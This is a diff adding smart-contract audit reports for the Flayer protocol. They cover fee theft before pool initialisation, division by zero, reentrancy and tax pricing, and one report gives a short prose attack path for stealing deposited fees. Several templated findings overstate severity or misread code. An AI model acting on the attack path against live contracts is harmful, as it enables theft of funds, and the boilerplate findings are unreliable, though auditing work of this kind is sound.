++ SafeTransferLib.safeTransfer(_node.target, _node.recipient, _node.amount);
+ } else if (_claimType == Enums.ClaimType.ERC721) {
+ IERC721(_node.target).transferFrom(address(this), _node.recipient, _node.tokenId);
+ } else if (_claimType == Enums.ClaimType.ERC1155) {
+ IERC1155(_node.target).safeTransferFrom(address(this), _node.recipient, _node.tokenId, _node.amount, '');
+ } else if (_claimType == Enums.ClaimType.NATIVE) {
+ (bool sent,) = payable(_node.recipient).call{value: _node.amount}('');
+ if (!sent) revert TransferFailed();
+ }
+
+ emit AirdropClaimed(_merkle, _claimType, _node);
+ }
+```
diff --git a/563.md b/563.md
new file mode 100644
index 0000000..0aee7bd
--- /dev/null
+++ b/563.md
@@ -0,0 +1,82 @@
+Fancy Emerald Lark
+
+Medium
+
+# Inefficient beneficiary pool fee distribution when `beneficiaryIsPool == true`
+
+## Summary
+If beneficiery is a pool, then the fee donation is delayed. Also impact varies depending on if the beneficiery pool is same pool (`beneficiaryIsPool == true`) the fee is split from or if different.
+
+Fix : if pool beneficiery is same as the pool fee split from, just donate on the same transaction itself.
+
+## Vulnerability Detail
+Issue flow :
+1. There 0.5 ETH to be ditributed and fee split is like 0.3 ETH to direct pool and 0.2 ETH to beneficiery.
+2. Here, the beneficiery is actually a pool (maybe the same or another)
+
+Look at line 393,
+If it's the same, the 0.2 ethe should be fully sent to the pool in the same transaction. But the 0.2 ETH is again split based on teh beneficiary royalty on the next distribution call. The current flow is fine if the 0.2 ETH beneficiary fee of BAYC is added to MAYC pool and that 0.2 ETH is further split between the MAYC beneficiary and MAYC pool.
+
+IF the benficiery is same pool, then splitting the 0.2 ETH fee further again and again is inefficient and delays the fee donation based on teh uni v4 pool activity. Since, the fees needs to meet minimum donation threshold of 0.001 eth.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L329-L356
+
+```solidity
+UniswapImplementation.sol
+
+336: function _distributeFees(PoolKey memory _poolKey) internal {
+ ---- SNIP ----
+345: // Get the amount of the native token available to donate
+350: uint donateAmount = _poolFees[poolId].amount0;
+351:
+352: // Ensure that the collection has sufficient fees available
+353: if (donateAmount < donateThresholdMin) return;
+358: _poolFees[poolId].amount0 = 0;
+359:
+360: // Split the donation amount between beneficiary and LP
+361: >>> (uint poolFee, uint beneficiaryFee) = feeSplit(donateAmount);
+362:
+363: // Make our donation to the pool, with the beneficiary amount remaining in the
+364: // contract ready to be claimed.
+365: if (poolFee > 0) {
+366: // Determine whether the currency is flipped to determine which is the donation side
+367: (uint amount0, uint amount1) = poolParams.currencyFlipped ? (uint(0), poolFee) : (poolFee, uint(0));
+368: BalanceDelta delta = poolManager.donate(_poolKey, amount0, amount1, '');
+369:
+370: // Check the native delta amounts that we need to transfer from the contract
+371: if (delta.amount0() < 0) _pushTokens(_poolKey.currency0, uint128(-delta.amount0()));
+375: if (delta.amount1() < 0) _pushTokens(_poolKey.currency1, uint128(-delta.amount1()));
+380: }
+381:
+382: // Check if we have beneficiary fees to distribute
+383: if (beneficiaryFee != 0) {
+384: // If our beneficiary is a Flayer pool, then we make a direct call
+385: if (beneficiaryIsPool) {
+386: // As we don't want to make a transfer call, we just extrapolate
+387: // the required logic from the `depositFees` function.
+393: >>> _poolFees[_poolKeys[beneficiary].toId()].amount0 += beneficiaryFee;
+395: }
+396: // Otherwise, we can just update the escrow allocation
+397: else {
+398: beneficiaryFees[beneficiary] += beneficiaryFee;
+400: }
+401: }
+402: }
+
+```
+
+
+## Impact
+If beneficiary is a pool, then the fee donation is delayed. Also, the impact varies depending on if the beneficiery pool is same pool the fee is split from or if different. (`beneficiaryIsPool == true`)
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L329-L356
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Donate the beneficiary fee to the pool if the `beneficiaryIsPool` == true
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L329-L356
\ No newline at end of file
diff --git a/570.md b/570.md
new file mode 100644
index 0000000..fce69d8
--- /dev/null
+++ b/570.md
@@ -0,0 +1,43 @@
+Sharp Blonde Camel
+
+Medium
+
+# Theft of fees before initialization
+
+### Summary
+
+When the fees are deposited for a collection that has a registered pool but not yet initialized, it is possible to steal them.
+
+
+### Root Cause
+
+The [`depositFees`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L277) function does not check if the pool is initialized.
+
+
+### Internal pre-conditions
+
+1. The collection has to be registered but its pool not yet initialized.
+2. Someone has to deposit fees to the pool.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Someone deposits fees (e.g. collateral token) to the pool.
+2. The attacker initializes the pool with arbitrary price.
+3. The attacker makes a swap from native token to collateral token with arbitrary price and spends a close to 0 amount of native token to retrieve all collateral tokens.
+
+### Impact
+
+Theft of fees.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The [`depositFees`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L277) function should check whether the pool is initialized and revert otherwise.
diff --git a/575.md b/575.md
new file mode 100644
index 0000000..e4e8e19
--- /dev/null
+++ b/575.md
@@ -0,0 +1,62 @@
+Radiant Brunette Seagull
+
+High
+
+# Division by Zero Vulnerability in `getBuyInfo` Function
+
+## Summary
+
+The `getBuyInfo` function in `LinearRangeCurve.sol` has a potential division by zero error, which can occur under specific edge case conditions where the `start`, `end`, and `block.timestamp` are all equal.
+
+## Vulnerability Detail
+
+The function unpacks `start` and `end` from the `delta` value. If `start`, `end`, and `block.timestamp` are exactly equal, the initial conditions do not prevent execution, leading to a division by zero in the line:
+
+```solidity
+inputValue = numItems * (spotPrice * (end - block.timestamp) / (end - start));
+```
+
+## Impact
+
+1. **Potential Division by Zero**: This can cause the `getBuyInfo` function to revert and fail, leading to a denial of service for the caller.
+2. **Incorrect Pricing Logic**: The function will not be able to compute the `inputValue` correctly, disrupting the expected behavior of the contract.
+3. **Security Risks**: Unchecked edge cases can lead to vulnerabilities that disrupt the contract's operation.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/lib/LinearRangeCurve.sol#L38-L77
+Here's the portion of the `getBuyInfo` function where the issue occurs:
+```solidity
+50: if (block.timestamp < start) {
+51: return (Error.INVALID_NUMITEMS, 0, 0, 0, 0, 0);
+52: }
+
+// If the curve has finished, then it's free
+55: if (block.timestamp > end) {
+56: return (Error.OK, 0, delta, 0, 0, 0);
+57: }
+
+// Determine the input value required to purchase the requested number of items
+60: inputValue = numItems * (spotPrice * (end - block.timestamp) / (end - start));
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The edge case where `start`, `end`, and `block.timestamp` are equal is not correctly handled, leading to a potential division by zero. You need to check and correct this issue in the code.
+```diff
+ // If the curve has finished, then it's free
+ if (block.timestamp > end) {
+ return (Error.OK, 0, delta, 0, 0, 0);
+ }
+
++ // Ensure start and end are not equal to prevent division by zero
++ if (start == end) {
++ return (Error.INVALID_NUMITEMS, 0, 0, 0, 0, 0);
++ }
+
+ // Determine the input value required to purchase the requested number of items
+ inputValue = numItems * (spotPrice * (end - block.timestamp) / (end - start));
+```
\ No newline at end of file
diff --git a/577.md b/577.md
new file mode 100644
index 0000000..8e7fb49
--- /dev/null
+++ b/577.md
@@ -0,0 +1,34 @@
+Puny Mocha Guppy
+
+High
+
+# H-1 Possible Reentrancy
+
+## Summary
+
+
+Modifying state after making an external call may allow for reentrancy attacks.
+
+## Vulnerability Detail
+
+What is the Reentrancy vulnerability?
+In Ethereum, program logic encoded in smart contracts is capable of calling logic in separate contracts, which may be authored by separate entities. This aspect of the system's design leaves open the possibility that chains of function calls may ultimately invoke a function that was already called earlier in the chain, "re-entering" its body. Depending on what statements in the body of the re-entered function follow the departure point where it originally invoked an external contract, the execution logic may differ from what the developer intended, and may lead to serious issues with overall smart contract execution.
+
+More concretely, functions in Ethereum that make external calls (which could ultimately re-enter that same function), and subsequently modify some state in the Ethereum Virtual Machine (EVM), may lead to executions where state is inconsistent, because the original function never completed its state modifications before being re-entered. Note that it is possible that these state modifications may be "remote" from the original function rather than inline statements, as long as they are reachable after the external call.
+
+Further reading: [Smart Contract Security Field Guide: Reentrancy](https://scsfg.io/hackers/reentrancy/)
+
+## Impact
+
+## Code Snippet
+
+
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Avoid making changes to state variables in a function after an external call, where possible.
diff --git a/578.md b/578.md
new file mode 100644
index 0000000..639eedc
--- /dev/null
+++ b/578.md
@@ -0,0 +1,49 @@
+Puny Mocha Guppy
+
+High
+
+# H-2 Unchecked token transfer
+
+## Summary
+
+Performing an ERC-20 token transfer without checking the result may result in silent token transfer failures.
+
+## Vulnerability Detail
+
+What is the Unchecked Token Transfer vulnerability?
+In Ethereum, the ERC-20 standard is commonly implemented for fungible tokens, which are often used for decentralized finance (DeFi) projects. The standard specifies a core method, transfer(), which per the specification must return a Boolean value indicating whether or not the transfer succeeded. While the specification indicates that transfers that would fail due to insufficient funds should throw an error, this is not a strict requirement. If DeFi or other projects perform token transfers in this manner without checking this return value, they may silently fail to send tokens to intended recipients.
+
+Further reading: [ERC-20 Token Standard](https://eips.ethereum.org/EIPS/eip-20)
+
+## Impact
+
+## Code Snippet
+
+
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L178
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L221
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L235
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L587
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L158
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L226
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L249
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L252
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L280
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L283
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L355
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L384
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L395
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L170
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L185
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L439
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L197
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L373
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L106
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Always check the retun value from token transfer functions where available.
diff --git a/580.md b/580.md
new file mode 100644
index 0000000..d1c9176
--- /dev/null
+++ b/580.md
@@ -0,0 +1,39 @@
+Puny Mocha Guppy
+
+Medium
+
+# M-1 Unchecked Block with Subtraction
+
+## Summary
+
+Using subtraction in an unchecked block may silently underflow.
+
+## Vulnerability Detail
+
+What is the Unchecked Block with Subtraction vulnerability?
+In modern versions of Solidity, arithmetic operations that would underflow or overflow will now revert by default. However, it is possible to obtain the previous behavior where such operations will wrap rather than reverting, by using an unchecked block. While arithmetic operations inside such blocks may incur lower gas costs, these blocks should be used carefully, as unintended wrapping behavior may lead to program errors if the developer erroneously believes an operation to be safe.
+
+Further reading: [Solidity Documentation: Checked or Unchecked Arithmetic](https://solidity-docs-dev.readthedocs.io/en/latest/control-structures.html#checked-or-unchecked-arithmetic)
+
+## Impact
+
+## Code Snippet
+
+### **_taxRequired__**
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L365
+
+### **_taxPaid_**
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L938
+
+### **_available_**
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TokenEscrow.sol#L59
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+
+Avoid using subtraction in unchecked blocks where possible.
\ No newline at end of file
diff --git a/581.md b/581.md
new file mode 100644
index 0000000..0d93165
--- /dev/null
+++ b/581.md
@@ -0,0 +1,40 @@
+Puny Mocha Guppy
+
+Medium
+
+# M-2 Unused Return from Function Call
+
+src/contracts/Listings.sol#L162## Summary
+
+Calling a function without checking the return value may lead to silent failures.Function returns a value but it is ignored.
+
+
+## Vulnerability Detail
+
+What is the Unused Return from Function Call vulnerability?
+In Solidity, as in other programming languages, functions may return values as part of their execution. While it is possible that in some circumstances it may be safe to discard these return values, in most cases they should be captured by the caller so as to avoid inadvertent logical errors in program execution. In certain situations, failure to properly evaluate function return values can lead to contract exploits and possible loss of funds.
+
+Further reading: [Solidity Documentation: Function Calls](https://docs.soliditylang.org/en/v0.8.24/control-structures.html#function-calls)
+
+## Impact
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L162
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L202
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L467
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L603
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L709
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L325
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L481
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L541
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L582
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Always handle the return values of function calls that provide them, including functions that return multiple values.
diff --git a/583.md b/583.md
new file mode 100644
index 0000000..49ab5c3
--- /dev/null
+++ b/583.md
@@ -0,0 +1,53 @@
+Puny Mocha Guppy
+
+Medium
+
+# M-3 Faulty Division Operation
+
+## Summary
+
+Faulty Division Operation
+
+## Vulnerability Detail
+
+What is the Faulty Division Operation vulnerability?
+While newer versions of the Solidity language support fixed-point mathematical operations, many calculations in Ethereum (including for units of ether itself) are done using integer arithmetic. This means that any division operation has the potential to lead to imprecise results in cases where the inputs are variable. Rounding errors may ultimately lead to unintended calculations and even exploits of smart contract logic as a result.
+
+A real-world example: Midas Capital
+On June 18, 2023, the Midas Capital protocol was exploited due to a bug in a redemption calculation that used imprecise division. An attacker was able to use the manner in which the calculations were made to subvert the intent of the protocol and redeem more tokens than they were entitled to, resulting in an approximate loss of $600,000.
+
+Further reading: [Midas Capital Hack Analysis](https://blog.solidityscan.com/midas-capital-hack-analysis-ae59ed052729)
+
+## Impact
+
+Division operation at L60:C33 precedes multiplication operations at the following locations:
+ - /flayer/src/contracts/lib/LinearRangeCurve.sol L60:C21
+Division operation at L39:C52 precedes multiplication operations at the following locations:
+ - /flayer/src/contracts/TaxCalculator.sol L43:C24
+ Division operation at L69:C29 precedes multiplication operations at the following locations:
+ - /flayer/src/contracts/TaxCalculator.sol L69:C28
+Division operation at L87:C29 precedes multiplication operations at the following locations:
+ - /flayer/src/contracts/TaxCalculator.sol L90:C28
+ - /flayer/src/contracts/TaxCalculator.sol L90:C65
+Division operation at L90:C65 precedes multiplication operations at the following locations:
+ - /flayer/src/contracts/TaxCalculator.sol L90:C28
+ - /flayer/src/contracts/TaxCalculator.sol L90:C65
+
+
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/lib/LinearRangeCurve.sol#L60
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L39
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L69
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L87
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+
+Always perform integer multiplication before division where possible.
diff --git a/585.md b/585.md
new file mode 100644
index 0000000..84b3df0
--- /dev/null
+++ b/585.md
@@ -0,0 +1,40 @@
+Puny Mocha Guppy
+
+Medium
+
+# M-4 Uninitialized State Variable
+
+## Summary
+
+Using uninitialized state variables may lead to unexpected behavior.
+
+## Vulnerability Detail
+
+What is the Uninitialized State Variable vulnerability?
+In Solidity, smart contracts may define various state variables at the level of the contract itself, analogous to class members in many object-oriented programming languages. State variables will have default values dictated by the EVM if the variables are not initialized; these may be desired values in some cases, but they may be unexpected in other cases, and failure to initialize them will not prevent a smart contract from compiling even if lack of initialization leads to a logical bug.
+
+Further reading: [Solidity Documentation: Scoping and Declarations](https://docs.soliditylang.org/en/latest/control-structures.html#scoping-and-declarations)
+
+## Impact
+
+
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol#L23
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol#L26
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L53
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L135
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L83
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L37
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L37
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Solidity does initialize variables by default when you declare them, however it's good practice to explicitly declare an initial value. For example, if you transfer money to an address we must make sure that the address has been initialized.
+
+ Always ensure that state variables receive proper values in the contract declaration or via the constructor.
\ No newline at end of file
diff --git a/591.md b/591.md
new file mode 100644
index 0000000..9c1bd80
--- /dev/null
+++ b/591.md
@@ -0,0 +1,36 @@
+Puny Mocha Guppy
+
+High
+
+# H-4 Storage Array Edited with Memory
+
+## Summary
+
+Storage Array Edited with Memory
+
+## Vulnerability Detail
+
+Storage reference is passed to a function with a memory parameter. This will not update the storage variable as expected. Consider using storage parameters instead.
+
+## Impact
+
+## Code Snippet
+
+
+1 Found Instances
+
+
+- Found in src/contracts/Listings.sol [Line: 504](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L504)
+
+ ```solidity
+ (uint fee, uint refund) = _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
+ ```
+
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/593.md b/593.md
new file mode 100644
index 0000000..d2ecbca
--- /dev/null
+++ b/593.md
@@ -0,0 +1,34 @@
+Puny Mocha Guppy
+
+High
+
+# H-6 Tautological comparison
+
+## Summary
+Tautological comparison
+## Vulnerability Detail
+
+The left hand side and the right hand side of the binary operation has the same value. This makes the condition always true or always false.
+
+
+## Impact
+
+## Code Snippet
+
+1 Found Instances
+
+
+- Found in src/contracts/TaxCalculator.sol [Line: 113](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L113)
+
+ ```solidity
+ if (_initialCheckpoint.timestamp >= _currentCheckpoint.timestamp) {
+ ```
+
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/595.md b/595.md
new file mode 100644
index 0000000..0cfa48e
--- /dev/null
+++ b/595.md
@@ -0,0 +1,187 @@
+Puny Mocha Guppy
+
+Medium
+
+# M-5 PUSH0 is not supported by all chains
+
+## Summary
+Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.
+
+## Vulnerability Detail
+
+## Impact
+
+## Code Snippet
+27 Found Instances
+
+
+- Found in src/contracts/CollectionToken.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/Listings.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/Locker.sol [Line: 2](src/contracts/Locker.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/LockerManager.sol [Line: 2](src/contracts/LockerManager.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/ProtectedListings.sol [Line: 2](src/contracts/ProtectedListings.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/TaxCalculator.sol [Line: 2](src/contracts/TaxCalculator.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/TokenEscrow.sol [Line: 2](src/contracts/TokenEscrow.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/implementation/BaseImplementation.sol [Line: 2](src/contracts/implementation/BaseImplementation.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/implementation/UniswapImplementation.sol [Line: 2](src/contracts/implementation/UniswapImplementation.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/migration/FlayerTokenMigration.sol [Line: 2](src/contracts/migration/FlayerTokenMigration.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.0;
+ ```
+
+- Found in src/contracts/utils/AirdropRecipient.sol [Line: 2](src/contracts/utils/AirdropRecipient.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/contracts/utils/CollectionShutdown.sol [Line: 2](src/contracts/utils/CollectionShutdown.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/Enums.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/Enums.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/IBaseImplementation.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/IBaseImplementation.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/ICollectionToken.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/ICollectionToken.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/IListings.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/IListings.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/ILocker.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/ILocker.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/ILockerManager.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/ILockerManager.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/IProtectedListings.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/IProtectedListings.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/ITaxCalculator.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/ITaxCalculator.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/ITokenEscrow.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/ITokenEscrow.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/lssvm2/CurveErrorCodes.sol [Line: 2]https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/(src/interfaces/lssvm2/CurveErrorCodes.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.0;
+ ```
+
+- Found in src/interfaces/lssvm2/ICurve.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/lssvm2/ICurve.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.0;
+ ```
+
+- Found in src/interfaces/lssvm2/ILSSVMPair.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/lssvm2/ILSSVMPair.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.0;
+ ```
+
+- Found in src/interfaces/lssvm2/ILSSVMPairFactoryLike.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/lssvm2/ILSSVMPairFactoryLike.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.0;
+ ```
+
+- Found in src/interfaces/utils/IAirdropRecipient.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/utils/IAirdropRecipient.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+- Found in src/interfaces/utils/ICollectionShutdown.sol [Line: 2](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/utils/ICollectionShutdown.sol#L2)
+
+ ```solidity
+ pragma solidity ^0.8.22;
+ ```
+
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/598.md b/598.md
new file mode 100644
index 0000000..136ac96
--- /dev/null
+++ b/598.md
@@ -0,0 +1,56 @@
+Crazy Chiffon Spider
+
+Medium
+
+# Expensive NFTs Won't Be Listed on Flayer Protocol, as 10x Floor Price for 180 Days Is More Expensive Than a Simple Deposit for 1 CT
+
+## Summary
+Currently, anyone who wants to create a listing must pay a **listing tax**, calculated based on the **floorMultiplier** and the **listing duration**. The problem is that it’s **too expensive** to list valuable NFTs on the platform.
+
+## Vulnerability Detail
+If a collection has an NFT worth around **9.5x the floor price**, listing it results in significant taxes. The assumption that valuable NFTs would sell within a shorter period is not guaranteed. In fact, it may take **longer** to sell these higher-priced NFTs, as they are more expensive.
+
+Example:
+ For an NFT priced at **9.5x the floor price** for **50 days**, the listing tax would be `2.3 CT` (`2361607142857142857`), which amounts to **over 25% in fees**. Even if it sells near the 7-day mark, the seller would still be taxed around `2 CT`.
+ It’s likely that an owner who values their NFT would **cancel the listing** before the 7-day mark, as the NFT could enter a Dutch auction and sell for less. However, **canceling will still result in the fees** being paid.
+
+Other Examples:
+- 7x the floor price for 75 days results in a tax of `2.4 CT`.
+- 10x the floor price for 179 days is completely **unusable**, as it would incur a tax of `9.2 CT`. At that point, it would be more beneficial to simply **deposit the NFT** and receive the floor `1 CT` in return.
+
+Example collection where we have a lot of 5-10x floor priced NFTs - https://opensea.io/collection/boredapeyachtclub
+
+### Calculations PoC
+
+Getting the listing tax via [getListingTaxRequired()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L766-L772) essentially means calling TaxCalculator calculateTax(), so we will use that directly
+```solidity
+ function getListingTaxRequired(Listing memory _listing, address _collection) public view returns (uint taxRequired_) {
+ @>> taxRequired_ = locker.taxCalculator().calculateTax(_collection, _listing.floorMultiple, _listing.duration);
+ taxRequired_ *= 10 ** locker.collectionToken(_collection).denomination();
+ }
+```
+
+Add this to `Listings.t.sol` and run with `forge test --match-test test_calculateTax -vvvv`
+```solidity
+ function test_calculateTax() public {
+
+ //2.4CT for 7.5x floorMultiplier. We will basically get out 5.1CT
+ assertEq(taxCalculator.calculateTax(address(erc721a), 750, 75 days), 2417410714285714285);
+
